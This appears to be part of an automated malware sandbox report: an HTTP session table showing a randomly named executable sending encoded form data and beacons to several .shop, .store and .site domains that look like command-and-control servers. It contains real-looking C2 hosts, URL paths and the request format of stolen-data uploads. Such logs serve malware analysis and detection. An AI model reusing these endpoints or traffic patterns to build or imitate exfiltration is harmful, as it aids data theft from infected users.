zhl=8MEyuQfLE51giDjJgUmUMsY0W/mRM17NMzi9tH8FlnQmGYTeiGAmn9joia57u13wyv7pE3IlUx2DRcjxxswnJGfqToWp8ROpuifkdnKzdYSxFCatQ+8nph7IuEknJ/B30AU5TGQ7Cqh6fVZwMCIESlI6mDJEWDKU5GXO6vPAS0E6c5qqeNWKppa17cd7GZh4SM/5vdID8vwJynofBw4CUOwWltlDYTVT+fjrgCid94dCLeqGf2zHq09hkUG8gBsr891EEgH+QSMapMyMoBxRmqF3aVR9AeJz0jBQat8wYbbxJ/9EB2xv6ViRlDZHHpHGkFVUwttTpDp2n9mx1RAu+Ahc1iaP7KgkOsHOOv6jrsB3dAKUGJbVlkC6H2EEarD6hWn9N+S8tNrtQEE/4KMbi3GxFHoIdDDUSHtutpPL1IKfnBi5+UrcyaW5QA2HQe7O4Q6FlqrhepuK776D+wOoTh5GozjL5ovNXPIjjGP/JaFSfqjP4LKBayC5Nk1+R3xfa8j8rZ/ZWwDO8K12xl7ztn6/dQFf/2QktPhAtkfCKwn8OgWJmxJiqG3/Ar3jxxLy43Q5/hKtsYXDtxM6c9jxXyKHYbcQg182JgddZxi4AIKLeXtrI2/Y0GHEm/ZqlRIhu96EWmio8dIck19cQqHG2E2yROphmWlt04/bspt+OprosW/FS68p4hBlZKRjaJgbE8t7ELGj4UBxQ6K9SB/uQcjdR7nnj48tUcuJJU7d5mdt5vLAQ+KY5OmoUx0BH3sTvc4g/USaJPfTamibnmU3aDQzy6vk/vhfn1BEIrmQG+j2Sol/U+HXyyvyEM1n5gCjp2UKHHD1/BXZsgcODYL2cJCwzBAxvttvrzwTTr9ramFzwtr8HsIqH1L5cijNd8SLIrINI+UHZd5HuxZ4Fy4UeuoF/8sLnJ6q0H9lOOTNHi0pKR6A+0p07QWkKIV9eY2rJSWUTAKHaSEPrvVUkokYKME6zG1W4feRu6ewIQvepogQgXVF [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	55735	3.33.130.190	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:08.902976990 CET	536	OUT	GET /szao/?zhl=xOsStlDAPOZpiXvsnmuwA88PT6OXK0eKU2uFkXlZ1FsWMYGKmmEGy9m/gq1jsAT5roDCFnYyY1aFVaz80OwxPCjqIvTp6x+JqjH2NXebd4izNju9X+dPpzI=&X8Rx1=znhhIbB8nN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.teerra.shop Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:24:09.524441957 CET	396	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:24:09 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 7a 68 6c 3d 78 4f 73 53 74 6c 44 41 50 4f 5a 70 69 58 76 73 6e 6d 75 77 41 38 38 50 54 36 4f 58 4b 30 65 4b 55 32 75 46 6b 58 6c 5a 31 46 73 57 4d 59 47 4b 6d 6d 45 47 79 39 6d 2f 67 71 31 6a 73 41 54 35 72 6f 44 43 46 6e 59 79 59 31 61 46 56 61 7a 38 30 4f 77 78 50 43 6a 71 49 76 54 70 36 78 2b 4a 71 6a 48 32 4e 58 65 62 64 34 69 7a 4e 6a 75 39 58 2b 64 50 70 7a 49 3d 26 58 38 52 78 31 3d 7a 6e 68 68 49 62 42 38 6e 4e 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?zhl=xOsStlDAPOZpiXvsnmuwA88PT6OXK0eKU2uFkXlZ1FsWMYGKmmEGy9m/gq1jsAT5roDCFnYyY1aFVaz80OwxPCjqIvTp6x+JqjH2NXebd4izNju9X+dPpzI=&X8Rx1=znhhIbB8nN"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	55736	31.31.196.17	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:14.681673050 CET	799	OUT	POST /p6ze/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dverkom.store Origin: http://www.dverkom.store Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.dverkom.store/p6ze/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 79 42 2f 6e 41 30 38 38 79 4e 73 51 73 43 79 76 31 31 50 6f 52 69 31 57 59 53 77 47 59 46 6f 62 59 4a 67 50 2f 66 67 5a 62 73 37 36 4c 35 4d 4a 5a 2b 36 33 78 39 32 32 54 4d 61 34 32 42 76 4e 5a 59 51 56 41 65 49 78 4a 33 6a 54 34 74 4e 2b 52 76 67 57 6a 4d 7a 55 51 73 50 6d 6d 70 46 67 61 58 78 62 33 38 73 78 56 58 7a 54 64 64 4e 4b 46 68 6b 61 6e 6b 65 48 2f 34 61 67 69 74 73 44 5a 7a 4c 68 58 43 65 36 52 64 71 41 34 4c 66 38 64 50 6c 33 62 41 63 49 44 62 63 47 65 2f 4b 62 4d 33 5a 73 42 61 55 6b 64 66 66 69 57 52 54 45 42 62 4a 2f 50 63 34 58 35 46 57 61 4b 46 68 4f 33 67 3d 3d Data Ascii: zhl=yB/nA088yNsQsCyv11PoRi1WYSwGYFobYJgP/fgZbs76L5MJZ+63x922TMa42BvNZYQVAeIxJ3jT4tN+RvgWjMzUQsPmmpFgaXxb38sxVXzTddNKFhkankeH/4agitsDZzLhXCe6RdqA4Lf8dPl3bAcIDbcGe/KbM3ZsBaUkdffiWRTEBbJ/Pc4X5FWaKFhO3g==
Nov 5, 2024 15:24:15.568255901 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	55737	31.31.196.17	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:17.225663900 CET	819	OUT	POST /p6ze/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dverkom.store Origin: http://www.dverkom.store Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.dverkom.store/p6ze/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 79 42 2f 6e 41 30 38 38 79 4e 73 51 75 69 43 76 7a 57 58 6f 55 43 31 56 46 69 77 47 54 6c 6f 66 59 4a 6b 50 2f 63 74 47 61 61 54 36 4c 59 38 4a 59 38 53 33 39 64 32 32 47 38 61 35 70 78 76 34 5a 59 63 33 41 65 45 78 4a 33 33 54 34 74 64 2b 52 65 67 52 69 63 7a 53 63 4d 50 6f 2b 4a 46 67 61 58 78 62 33 2f 51 62 56 58 37 54 42 39 39 4b 4b 6b 49 46 6b 6b 65 45 70 49 61 67 7a 39 73 39 5a 7a 4c 58 58 41 71 63 52 65 43 41 34 4a 48 38 64 65 6c 30 4f 77 63 53 4f 37 64 71 59 4d 58 68 57 57 55 2f 65 4a 6c 4b 58 72 76 4a 58 58 43 65 51 71 6f 6f 64 63 63 6b 6b 43 66 75 48 47 63 48 73 69 37 77 5a 45 79 70 71 31 43 42 4b 35 32 45 68 34 44 75 6d 4f 51 3d Data Ascii: zhl=yB/nA088yNsQuiCvzWXoUC1VFiwGTlofYJkP/ctGaaT6LY8JY8S39d22G8a5pxv4ZYc3AeExJ33T4td+RegRiczScMPo+JFgaXxb3/QbVX7TB99KKkIFkkeEpIagz9s9ZzLXXAqcReCA4JH8del0OwcSO7dqYMXhWWU/eJlKXrvJXXCeQqoodcckkCfuHGcHsi7wZEypq1CBK52Eh4DumOQ=
Nov 5, 2024 15:24:18.122412920 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	55738	31.31.196.17	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:19.770385981 CET	10901	OUT	POST /p6ze/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dverkom.store Origin: http://www.dverkom.store Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.dverkom.store/p6ze/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 79 42 2f 6e 41 30 38 38 79 4e 73 51 75 69 43 76 7a 57 58 6f 55 43 31 56 46 69 77 47 54 6c 6f 66 59 4a 6b 50 2f 63 74 47 61 61 62 36 4b 75 41 4a 61 62 6d 33 2b 64 32 32 61 73 61 43 70 78 76 6c 5a 59 45 7a 41 66 35 4d 4a 78 7a 54 34 4c 52 2b 58 73 59 52 37 73 7a 53 42 63 50 70 6d 70 46 78 61 58 68 58 33 2f 41 62 56 58 37 54 42 37 35 4b 44 52 6b 46 6f 45 65 48 2f 34 61 73 69 74 74 51 5a 7a 43 69 58 41 75 71 53 76 69 41 39 61 2f 38 66 73 4e 30 4d 51 63 55 64 4c 64 79 59 4d 62 45 57 53 30 7a 65 4a 67 52 58 73 66 4a 56 57 44 65 50 5a 6b 4a 49 76 59 48 78 31 2f 36 41 45 73 30 6e 51 6a 63 66 47 2b 64 30 77 69 4d 4b 36 44 58 78 34 62 76 2f 35 6d 47 56 78 6b 59 4e 6b 64 2f 76 50 68 44 4a 6c 56 56 72 33 46 51 33 65 44 7a 45 6c 77 68 32 76 72 4f 44 69 62 4e 36 32 6d 2f 42 4d 62 6b 58 4f 33 2b 53 48 4f 79 46 4b 61 32 76 56 64 30 6b 34 32 5a 68 63 36 38 48 63 2b 47 34 31 51 75 4e 33 65 4d 51 36 79 43 58 36 75 69 73 62 45 62 54 6c 72 77 64 56 7a 78 53 71 6c 61 79 6a 7a 6c 72 76 7a 71 66 4b 35 70 6d 5a [TRUNCATED] Data Ascii: zhl=yB/nA088yNsQuiCvzWXoUC1VFiwGTlofYJkP/ctGaab6KuAJabm3+d22asaCpxvlZYEzAf5MJxzT4LR+XsYR7szSBcPpmpFxaXhX3/AbVX7TB75KDRkFoEeH/4asittQZzCiXAuqSviA9a/8fsN0MQcUdLdyYMbEWS0zeJgRXsfJVWDePZkJIvYHx1/6AEs0nQjcfG+d0wiMK6DXx4bv/5mGVxkYNkd/vPhDJlVVr3FQ3eDzElwh2vrODibN62m/BMbkXO3+SHOyFKa2vVd0k42Zhc68Hc+G41QuN3eMQ6yCX6uisbEbTlrwdVzxSqlayjzlrvzqfK5pmZlgjjAMJRqg+z70xjwuMdA/9OZZTfuEvPyrTqnMMqwj+WJimRqima/iHa6JKUUfvBrZ2EoWKhUvlMePnCGRzI0Kk0Cpa13nm4UrNSn1z2bWlyEMpqnB5okEkFFd+vwB6VSrELA3TaB87H/gTZ0jB8/fB4QHctv6DIcJ3qDWOCFblknN5cYb/cJoAJdbceEnctkVfFth1YsTkdWmzb9ynN5D8uF5kkIBZpjZK1B5hCa9drNge9nu26Qwej0T0dPqRGkVdtcjLyJcXshjqiYBHOy+mMqowh7X/9ZaYkbZEaP7HDNpq5spFWPG2vYCTPK8AsYjeXhZZGWLbeHMraMROZ6NO36mgqy1Tb/ErAinqxzvzhlRnWSLoZkCRxudcWA50Vv5HQ3+Ebc6D+81x2bXyihIWysTmoFjpNBAuIoHFbQP8+eXueke3h0yctLUKLaLsRal8/3RxU8FEjzNPLSJ5jSdKeTLdV40CLWOBoGdiEzRO5xkYiz9PjaWdSkZjMdkqAZSLEqtc3wG/g4l13MjoF2PrW6v2B7I73r7PB8ng3N0D7Gt8hj9e80mMIFzOH3fRG4F+Z7g0/hnEsezTaTRUki4EtIowOxYbXKqe4Xgu13DvRZaMyxabNSdWE3glUFAQ0Xhn1OnQZsTZoT+geJKJzGNwLoIfOOSuzOG [TRUNCATED]
Nov 5, 2024 15:24:20.667485952 CET	314	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	55739	31.31.196.17	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:22.308820009 CET	538	OUT	GET /p6ze/?X8Rx1=znhhIbB8nN&zhl=/DXHDBoOk7chmVCQ4WrLaW1oMwdAaAsuBp0o9+oEddPaOIwOYOKBw5izboW0tBTgA9UkGMI+Rx3Lys9/a+AsrILRafTHrYx9fF0ImMQ3N0L+QaVHJSdbugw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dverkom.store Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:24:23.207484961 CET	330	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	55740	172.96.187.60	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:28.463275909 CET	793	OUT	POST /s20z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.dalong.site/s20z/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 44 6e 33 4e 51 6d 39 7a 41 33 4c 4a 4f 4d 36 64 66 43 47 69 42 4b 71 4c 47 43 7a 33 56 41 77 46 59 71 64 6b 2f 4f 4b 44 4b 45 4c 33 4a 62 52 72 4e 5a 73 7a 2b 43 72 41 71 50 64 4a 78 47 70 36 47 32 50 66 44 75 44 79 4b 42 46 63 2f 33 4c 64 41 32 79 78 4d 39 62 4e 38 43 73 41 6e 34 50 69 5a 76 67 4c 71 4e 52 30 74 70 51 46 6b 48 42 51 2b 75 72 4b 2f 66 63 2f 39 4e 4c 6b 2f 33 42 71 77 39 37 37 70 76 78 47 78 7a 6a 33 69 35 69 47 64 31 75 45 70 79 6b 79 44 7a 41 4f 78 78 55 53 66 31 51 61 6f 69 41 53 71 50 30 4f 6f 52 52 47 57 58 50 42 67 4c 35 77 4b 69 38 4b 6d 6a 63 41 55 51 3d 3d Data Ascii: zhl=Dn3NQm9zA3LJOM6dfCGiBKqLGCz3VAwFYqdk/OKDKEL3JbRrNZsz+CrAqPdJxGp6G2PfDuDyKBFc/3LdA2yxM9bN8CsAn4PiZvgLqNR0tpQFkHBQ+urK/fc/9NLk/3Bqw977pvxGxzj3i5iGd1uEpykyDzAOxxUSf1QaoiASqP0OoRRGWXPBgL5wKi8KmjcAUQ==
Nov 5, 2024 15:24:29.117005110 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 05 Nov 2024 14:24:29 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	55741	172.96.187.60	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:31.001791954 CET	813	OUT	POST /s20z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.dalong.site/s20z/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 44 6e 33 4e 51 6d 39 7a 41 33 4c 4a 63 38 4b 64 64 68 65 69 4b 4b 72 35 4b 69 7a 33 65 67 77 42 59 71 52 6b 2f 50 2f 65 4b 57 66 33 49 2b 56 72 4f 63 4d 7a 75 53 72 41 68 76 64 4d 38 6d 70 48 47 32 43 69 44 76 2f 79 4b 41 68 63 2f 31 54 64 41 6c 71 79 4e 74 62 50 6f 79 73 43 71 59 50 69 5a 76 67 4c 71 4e 55 52 74 70 49 46 6b 33 78 51 2b 50 72 56 33 2f 63 38 2b 4e 4c 6b 37 33 42 75 77 39 37 4a 70 74 55 54 78 78 4c 33 69 34 53 47 64 6e 47 44 38 43 6b 77 4e 54 42 51 36 30 67 64 58 6e 4a 62 70 68 55 49 71 75 77 71 67 33 41 63 48 6d 75 57 79 4c 64 44 58 6c 31 2b 72 67 68 4a 50 63 65 54 4a 61 61 78 6d 31 49 68 63 4a 72 56 35 77 76 77 6b 32 41 3d Data Ascii: zhl=Dn3NQm9zA3LJc8KddheiKKr5Kiz3egwBYqRk/P/eKWf3I+VrOcMzuSrAhvdM8mpHG2CiDv/yKAhc/1TdAlqyNtbPoysCqYPiZvgLqNURtpIFk3xQ+PrV3/c8+NLk73Buw97JptUTxxL3i4SGdnGD8CkwNTBQ60gdXnJbphUIquwqg3AcHmuWyLdDXl1+rghJPceTJaaxm1IhcJrV5wvwk2A=
Nov 5, 2024 15:24:31.683357954 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 05 Nov 2024 14:24:31 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	55742	172.96.187.60	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
